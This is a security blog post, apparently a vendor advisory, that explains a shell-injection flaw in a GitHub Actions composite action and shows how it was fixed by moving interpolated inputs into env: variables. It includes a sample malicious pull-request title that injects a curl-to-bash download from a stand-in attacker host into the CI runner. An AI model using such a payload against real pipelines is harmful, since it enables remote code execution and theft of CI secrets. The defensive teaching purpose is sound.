Back to Blog
high SEVERITY6 min read

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This is a GitHub Actions script/shell injection vulnerability (CWE-78) in `.github/actions/design-health/action.yml`, where `${{ inputs.* }}` expressions were interpolated directly into `run:` bash scripts. Because GitHub substitutes these expressions as literal text before the shell executes, attacker-influenced values could break out of intended commands. The fix stores each value in an `env:` variable and references it in the script as a quoted shell variable (e.g., `"$INPUT_PATH"`), so the shell sees it as data rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixMoved all interpolated values into `env:` blocks and referenced them as quoted shell variables (`"$INPUT_PATH"`, `"$INPUT_VERBOSE"`, etc.)
riskArbitrary command execution on the CI runner, potential secret exfiltration and supply-chain compromise
languageYAML / GitHub Actions (bash)
root cause`run:` steps embedded `${{ inputs.path }}`, `${{ inputs.verbose }}`, `${{ inputs.fail-on-warnings }}`, `${{ inputs.strict }}` directly as literal text inside shell scripts
vulnerabilityGitHub Actions script injection via unquoted `${{ }}` context interpolation

Introduction

The .github/actions/design-health/action.yml composite action powers a "Design Health" audit used across CI pipelines — it validates inputs like a file path pattern, a verbose flag, fail-on-warnings, and strict mode, then runs an audit script against matching files. To keep the workflow simple, the action's run: steps interpolated these inputs directly using ${{ inputs.path }}, ${{ inputs.verbose }}, ${{ inputs.fail-on-warnings }}, and ${{ inputs.strict }} right inside the bash script text.

That pattern — embedding ${{ ... }} expressions inside a run: block — is one of the most common and dangerous mistakes in GitHub Actions authoring. GitHub performs the substitution before the shell ever sees the script, treating the entire expanded string as literal source code. If any of those values can be influenced by an attacker (directly, or indirectly through a caller workflow that forwards PR titles, branch names, or other event data as inputs), the runner effectively executes attacker-controlled shell commands.

The Vulnerability Explained

Here's the vulnerable "Run audit" step before the fix:

- name: Run audit
  id: audit
  shell: bash
  run: |
    set -e
    VERBOSE_FLAG=""
    if [ "${{ inputs.verbose }}" = "true" ]; then
      VERBOSE_FLAG="--verbose"
    fi
    ...
    FAIL_ON_WARN="${{ inputs.fail-on-warnings }}"
    STRICT="${{ inputs.strict }}"
    ...
    for f in ${{ inputs.path }}; do

Notice that inputs.path, inputs.verbose, inputs.fail-on-warnings, and inputs.strict are all spliced directly into the script text. GitHub Actions expands ${{ inputs.path }} to its raw string value before bash parses the line. That means the substitution isn't "a shell variable holding a string" — it's literally new source code appended into the script.

Attack scenario: Imagine a caller workflow does something like:

- uses: my-org/design-health@v1
  with:
    path: ${{ github.event.pull_request.title }}

If an attacker opens a pull request with a title like:

"; curl -s http://evil.example/steal.sh | bash; echo "

That string gets substituted into for f in ${{ inputs.path }}; do, becoming:

for f in "; curl -s http://evil.example/steal.sh | bash; echo "; do

The shell happily executes the injected curl | bash command with the full permissions of the CI runner — including access to any secrets loaded into that job's environment (npm tokens, cloud credentials, GITHUB_TOKEN, etc.). This is exactly the class of bug behind several real-world GitHub Actions supply-chain incidents, where a seemingly harmless composite action became an RCE vector because it trusted context data inside a run: block.

The Fix

The PR hardens every interpolation point in action.yml by moving ${{ ... }} expressions out of the run: script text and into an env: block, then referencing them as ordinary (quoted) shell variables.

Before (Validate inputs step):

- name: Validate inputs
  shell: bash
  run: |
    echo "::group::Design Health — reimagine-it"
    echo "Path pattern: ${{ inputs.path }}"
    echo "Fail on warnings: ${{ inputs.fail-on-warnings }}"
    echo "Verbose: ${{ inputs.verbose }}"

After:

- name: Validate inputs
  shell: bash
  env:
    INPUT_PATH: ${{ inputs.path }}
    INPUT_FAIL_ON_WARNINGS: ${{ inputs.fail-on-warnings }}
    INPUT_VERBOSE: ${{ inputs.verbose }}
  run: |
    echo "::group::Design Health — reimagine-it"
    echo "Path pattern: $INPUT_PATH"
    echo "Fail on warnings: $INPUT_FAIL_ON_WARNINGS"
    echo "Verbose: $INPUT_VERBOSE"

The same pattern was applied to the "Run audit" step, which also picked up INPUT_STRICT and ACTION_REPOSITORY (mapped from github.action_repository):

- name: Run audit
  id: audit
  shell: bash
  env:
    INPUT_PATH: ${{ inputs.path }}
    INPUT_FAIL_ON_WARNINGS: ${{ inputs.fail-on-warnings }}
    INPUT_VERBOSE: ${{ inputs.verbose }}
    INPUT_STRICT: ${{ inputs.strict }}
    ACTION_REPOSITORY: ${{ github.action_repository }}
  run: |
    set -e
    VERBOSE_FLAG=""
    if [ "$INPUT_VERBOSE" = "true" ]; then
      VERBOSE_FLAG="--verbose"
    fi
    ...
    FAIL_ON_WARN="$INPUT_FAIL_ON_WARNINGS"
    STRICT="$INPUT_STRICT"
    ...
    for f in $INPUT_PATH; do

Why this matters: with env:, GitHub Actions sets an environment variable on the runner process using its own safe assignment mechanism — the value never becomes part of the script's source text. Bash then reads $INPUT_PATH as an ordinary variable containing a string, not as code to parse. A malicious PR title full of backticks, $(), or semicolons is now just inert text sitting inside a variable — it can influence data (e.g., which files get iterated), but it can no longer inject new shell commands.

This is exactly why every ${{ }} reference that previously appeared inline inside the run: blocks — inputs.path, inputs.verbose, inputs.fail-on-warnings, inputs.strict, and github.action_repository — was relocated into env:. Leaving even one of them inline (as was flagged specifically at action.yml:45) would have left the injection primitive intact.

Prevention & Best Practices

  • Never put ${{ }} expressions directly inside run: script bodies. Always route them through env: first — GitHub's own security hardening guide recommends exactly this pattern.
  • Quote your shell variables: use "$INPUT_PATH" rather than $INPUT_PATH wherever word-splitting or globbing isn't intentional, to avoid secondary injection/argument-splitting issues.
  • Treat every github.* and inputs.* value as untrusted, especially anything derived from pull_request titles, branch names, commit messages, or issue bodies — these are fully attacker-controlled on public repositories.
  • Run Semgrep's GitHub Actions ruleset (yaml.github-actions.security.run-shell-injection) or GitHub's CodeQL Actions queries in CI to catch this pattern automatically before merge.
  • Audit composite actions the same way you'd audit any code that builds shell commands from user input — a composite action is effectively a tiny program, and its run: steps deserve the same scrutiny as subprocess.run(..., shell=True) in application code.

Key Takeaways

  • .github/actions/design-health/action.yml interpolated four separate input values (path, verbose, fail-on-warnings, strict) plus github.action_repository directly into run: scripts — each one was an independent injection point.
  • The fix introduced env: blocks on both the "Validate inputs" and "Run audit" steps, renaming values to INPUT_PATH, INPUT_VERBOSE, INPUT_FAIL_ON_WARNINGS, INPUT_STRICT, and ACTION_REPOSITORY.
  • The for f in $INPUT_PATH; do loop is now driven by an environment variable, not literal script text substituted from ${{ inputs.path }}.
  • Composite GitHub Actions are code — treat any caller-supplied inputs.* or github.* context value flowing into a run: block as untrusted external input.

How Orbis AppSec Detected This

  • Source: inputs.path, inputs.verbose, inputs.fail-on-warnings, inputs.strict, and github.action_repository — values supplied by the calling workflow or GitHub Actions runtime context.
  • Sink: the run: bash scripts in the "Validate inputs" and "Run audit" steps of .github/actions/design-health/action.yml (flagged at line 45), where ${{ ... }} expressions were embedded directly in shell script text.
  • Missing control: no intermediate env: variable was used to isolate untrusted context data from the shell script's literal source text, allowing direct text substitution into executable code.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
  • Fix: All ${{ ... }} interpolations were moved into env: blocks and referenced as quoted shell variables ("$INPUT_PATH", "$INPUT_VERBOSE", etc.), preventing untrusted context data from being parsed as shell code.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix is a textbook example of why GitHub Actions authors need to think of run: steps as generated source code, not just templated strings. Every ${{ inputs.* }} or ${{ github.* }} expression left inline inside a run: block is a potential injection point — and .github/actions/design-health/action.yml had five of them across two steps. By routing all of them through env: and referencing them as quoted shell variables, the action now treats untrusted data as data, closing off the shell-injection primitive without changing the action's observable behavior. Any team maintaining composite or reusable GitHub Actions should grep their run: blocks for ${{ and apply the same pattern before an attacker finds it first.

References

Frequently Asked Questions

What is GitHub Actions script injection?

It's a vulnerability where untrusted values from the `github` or `inputs` context are interpolated directly into a `run:` step's shell script text via `${{ ... }}`, letting an attacker inject shell metacharacters that execute as commands on the runner.

How do you prevent script injection in GitHub Actions?

Never interpolate `${{ }}` expressions directly inside `run:` scripts. Instead, pass the values through an `env:` block and reference them as quoted environment variables (e.g., `"$MY_VAR"`) inside the script.

What CWE is GitHub Actions script injection?

It maps to CWE-78 (OS Command Injection), since untrusted text is concatenated into a command that is then executed by a shell interpreter.

Is quoting shell variables enough to prevent this vulnerability?

Quoting is necessary but the critical fix is moving the value out of the YAML/`run:` text substitution step and into an environment variable first — quoting alone doesn't help if the value is still injected directly into the script via `${{ }}`.

Can static analysis detect GitHub Actions script injection?

Yes. Semgrep's `yaml.github-actions.security.run-shell-injection` rule and GitHub's own CodeQL Actions queries specifically flag `${{ }}` expressions used inside `run:` blocks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.